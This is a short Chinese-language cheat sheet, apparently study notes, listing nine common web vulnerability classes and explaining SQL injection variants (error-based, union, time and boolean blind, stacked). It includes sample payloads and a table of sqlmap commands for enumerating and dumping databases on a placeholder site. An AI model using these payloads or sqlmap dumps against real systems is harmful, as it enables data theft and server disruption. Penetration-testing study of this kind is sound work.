常见的9个漏洞
SQL注入 sqli
命令(代码)注入 Command inject
跨站脚本注入 XSS
客户端请求伪造 CSRF
服务端请求伪造 SSRF
任意文件上传
文件包含 LFI/RFI
反序列化
XML实体注入 XXE
SQL注入
SQL 是用于访问和处理数据库的标准的计算机语言。
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
由于开发人员把用户输入拼接进入数据库查询语句,导致原有的查询语句被篡改。
可被利用完成获取数据库数据,提权,DOS等攻击
举例:id=1 and sleep(1000) 危害:发送大量请求到你的服务器,这样你的服务器资源就被我们所占用,这样就可以达到一种DDOS攻击的目的。
报错注入 :加单引号报错,这个不在阐述
union注入:加相关语句 如 union select 1,2,3
时间盲注 :通过特定时间加入我们的payload,去根据服务端所响应的时间来判断是否存在注入
布尔盲注 :如and or真假 构造真假条件,让服务端响应不同内容来判断是否有注入
堆叠注入:多语句 如select;select2 加分号
SQLmap的使用
| 检查注入点 | sqlmap -u "http://ooxx.com/a.php?id=1" |
| 列数据库信息 | sqlmap -u "http://ooxx.com/a.php?id=1" --dbs |
| 指定数据库名列出所有表 | sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname --tables |
| 指定数据库名表名列出所有字段 | sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname -T tablename --columns |
| 定数据库名表名字段dump出指定字段 | sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname -T tablename -C columnname --dump |
| cookie 注入 | --cookie=COOKIE 在需要登录的地方,需要登录后的cookie |
| 执行指定的 SQL 语句 | --sql-query=QUERY |
| 代理注入 | --proxy="http://127.0.0.1:8087" |
SQL FUZZ字典:https://raw.githubusercontent.com/TheKingOfDuck/fuzzDicts/master/sqlDict/sql.txt